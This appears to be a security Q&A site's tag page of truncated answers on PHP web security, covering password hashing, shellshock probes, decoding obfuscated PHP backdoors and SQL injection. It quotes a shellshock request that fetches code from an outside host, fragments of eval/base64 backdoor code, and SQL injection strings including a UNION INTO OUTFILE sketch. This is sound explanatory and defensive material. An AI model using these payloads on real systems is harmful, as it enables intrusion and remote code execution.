Tag Info

New answers tagged

0

It will be secure in that other people would not be able to access it. However, if they do then you should not run this locally as your own machine could be compromised by a malicious user. However, be aware that the following could still be possible, depending on the CMS: There could be an XSS flaw. If the CMS is displayiing content from your online ...


0

In my case, apache answered with 200, which DID execute this stuff on the machine. I am running centos7 with all patches applied. I took some time and deciphered the request string: [22/Apr/2015:07:13:47 +0200] "GET / HTTP/1.0" 200 577 "() { :;} ;echo;/usr/local/bin/php -r '$a = \"http://r0r.me/r/r0r01\";''$b = \"http://r0r.me/r/r0r02\";''$c = ...


1

Passwords do not ever belong in source code, triply so for source code that is ever committed to a VCS. Anyone who has or has ever had access to the file has the password, including contractors, former employees, any VCS hosting service you use, etc. The simple answer is, retrieve the value from a configuration file (that is not stored in your repository) ...


0

Assuming you're running a server locally and putting a local Drupal/WordPress etc. CMS on that local server than sure, you could configure it not to be accessible to the outside world. But, seeing as it sounds like you want to actually have an 'online' website that won't really work. If you want to securely work with a CMS gowenfawr is right just lookup ...


1

If your CMS is listening to 127.0.0.1 ("localhost") and not to any other IP addresses on your system, then yes, no one online will be able to access it. You will be the only one able to access it, while logged into the computer it's running on. It is unusual that this would be what you want, but hey, maybe you just want to use your CMS as a personal ...


3

Spoofing an IP will not lead to being able to download the files, as the response for this request will be send back to the spoofed ip, which would have to be the servers ip in this case. However, if an attacker can upload his own php page through slqi or something else, they can send requests that originate from the server itself (so 127.0.0.1) and would ...


1

No, malicious code in your PHP file is not a virus or a trojan. Most end user anti-malware tools do not scan for these types of things. The malicious actions in your web app may be legitimate commands that make sense in a different context. You may want to look into static code analysis tools which analyze code for software design errors.


0

If using php-fpm you can set environment variables for each pool in the pool configuration file. This is great for a few reasons. The php-fpm pool configuration files should be rw-r----- and owned by root:root. Therefore the php-fpm user should not be able to read them (note the parent php-fpm daemon can because it is spawned as root and then forks ...


0

Certificates may be generated automatically on the server upon first launch. The EFF is even building a project, Let's Encrypt, precisely targeting automated generation, configuration and update of browser-trusted certificates.


0

I wanted to use a basic auth system working under TLS. That would be great but the certificates usually have to be installed on the server which basically kills the portability aspect. Why exactly do you think that TLS kills portability? Besides SSL/TLS there is only IPSec, which provides similar security, although it is far less portable. SSL/TLS has ...


-1

It's a problem of web page design/implementation. If it's bad designed (composing SQL statements on the fly mixing them with written literals) SQL injection issue exists. If it's well designed there is no way to do that attack.


1

You generally don't want to encrypt passwords as that opens the door to them being stolen. Instead you want to hash them, a one-way operation is mathematically impossible (or at least very hard) to reverse. This means that stealing password hashes will never lead to stealing passwords. PHP has a great set of functions for this: password_hash and ...


0

Looking at the request, it seems like this malicious ping is trying to exploit the shellshock vulnerability via Apache servers and cgi-bin services vector. This vulnerability is in the bash shell, therefore if you are using Linux/Mac AND have the most up-to-date patch, you are fine. Since Rails don't support cgi-bin services, I think you are fine. As for ...


0

This is a shell shock exploitation attempt, it is unlikely that the attacker observed the output of your script. Depending on your needs you may simply block URL access using the webserver. On Apache this can be done with the Limit, Allow, Deny and Require directives


-1

I had seen a similar attack previously on a server of a client of mine. The attacker found some vulnerability which allows the uploading of some files. Others mentioned some potential vulnerabilities. From your description the attacker was able to write with the webserver user into your web root directory.This should not be the case when your server is ...


0

TL;DR: It was a 2014-Oct-15 drupal core highly critical vulnerability that I patched too late and at the moment I missed on the severity of the issue and I didn't perform the proper checks to assess the server hadn't been compromised. The hack propagated from theme files copied from the decommissioned server backup instead of freshly downloaded from ...


0

About the script The code is obvious malicious script written in PHP for sending spams and other illegal activities. This script actually is very easy to decode by changing eval to echo and executing it will print the well formatted source code. The reason why the authors of that exploit spent so much time on securing this code via transposition array ...


1

That's a remote command shell for a server that's probably been hacked, and you should consider the server compromised. You would be wise to suspend everything it hosts, audit all code on the machine and rebuild it / replace it. Remote users who probably control this script can force it to issue any command by posting "CODE" that's base64_encoded (that sent ...


0

This file employs similar tactics to obfuscate the payload. The variable names and indentation changed, and its actions become very clear: <?php $char_transposition_map = Array('1'=>'N', '0'=>'S', '3'=>'O', '2'=>'8', '5'=>'v', '4'=>'3', '7'=>'H', '6'=>'n', '9'=>'W', '8'=>'u', 'A'=>'C', 'C'=>'f', 'B'=>'9', ...


25

The last line performs an eval() of function v78ZFAX() given the two parameters like so: eval(v78ZFAX($vFHLJ89, $vIIJ30Y)); That first parameter is the part that takes up the bulk of the code. It is assigned all that random-looking garbage, with . concatenating all those strings together into one long string: $vFHLJ89 = ...


2

As documented rather indirectly in the page for the crypt() function, the "cost" parameter is the base-2 logarithm of iteration count, or to put it another way, each +1 increase to "cost" represents a doubling of the number of iterations. If a cost-10 hash takes one minute to crack, a cost-14 would take 2^(14-10) = 16 minutes. Cracking a cryptographic has ...


19

These kinds of back-doors are polymorphic, that is they are designed to look different every time - in practice it's a waste of time trying to decipher them because they all do exactly the same thing. They take external input and they execute it. It might take input from a cookie or a post variable, and it might try and set some PHP options to prevent ...


0

The fact that the code that was put into your site specifically puts links in a div off the screen leads me to believe that this is the work of an SEO scammer who is exploiting a vulnerability that is most likely to be in one of your plugins or perhaps in your comment settings. If you have plugins that have not had any updates in a long time that might be a ...


3

I decoded the whole code by changing the eval function to var_dump. This gave me: string(133) "$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;" or formatted: $_X=base64_decode($_X); $_X=strtr($_X,'123456aouie','aouie123456'); $_R=ereg_replace('__FILE__',"'".$_F."'",$_X); ...


15

You can decode the start of $_X: root@bt:~# echo -e ...


4

Once you format the code a little, like how I edited your question, it's easier to see what's going on. $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64' translates to $OOO000000=fg6sbehpra4co_tnd All of that is used to build the string: $OOO0000O0=base64_decode The eval section is base64 encoded and resolves to: ...


0

It may not help you to figure out what did this action, but you may presume it's comming from the webserver (possibly PHP). What you may do is to protect theses file against modification, by chmoding the read-only and assign them to a user that is not the web-server user. For instance, on a Linux box, you could do something like : chown root:root *.php ...


3

Yes, you are completely open to SQL injection, eg via validUsername' injectionPayload %23, which would give you this query (the # (encoded as %23 cuts of the remaining '): SELECT * FROM users WHERE name='validUsername' injectionPayload #' Into Outfile depending on the rights of the user, you could write content into a file with this payload: -1' UNION ...


4

Have you tried including quotes to break this? From what I see here, it should actually cause a horrible error if a quote is passed in. Sometimes you have to fiddle around a little before the crash happens. $query = mysqli_query($con,"SELECT * FROM users WHERE name='$user'"); Here is my attempt to break this: 'OR 1=1-- It appears you have not used ...


1

You are saying that the private key cannot be decrypted server-side for authentication (because then the server would need the password), and it also cannot be sent to anybody requesting it, and then decrypted client-side (because then the private key would be vulnerable to an offline brute force attack). Basically, what's left is to design a completely ...


0

The nice thing about PHP's password_hash() and password_verify() functions is that they are designed with the future in mind, but they are also designed to be backward compatible. The hashing algorithm that password_hash() uses to create a hash is stored in the output produced by password_hash(), and this is how password_verify() knows which algorithm to ...


1

The new password_hash introduced in PHP 5.5.0 creates a very strong one way hashing algorithm. All information that's needed to verify the hash is included in it. I tried running a loop for 5000 times, and every hash for a single password was a unique hash. To create a password hash you can simply use : $password = '170991'; $hash = ...



Top 50 recent answers are included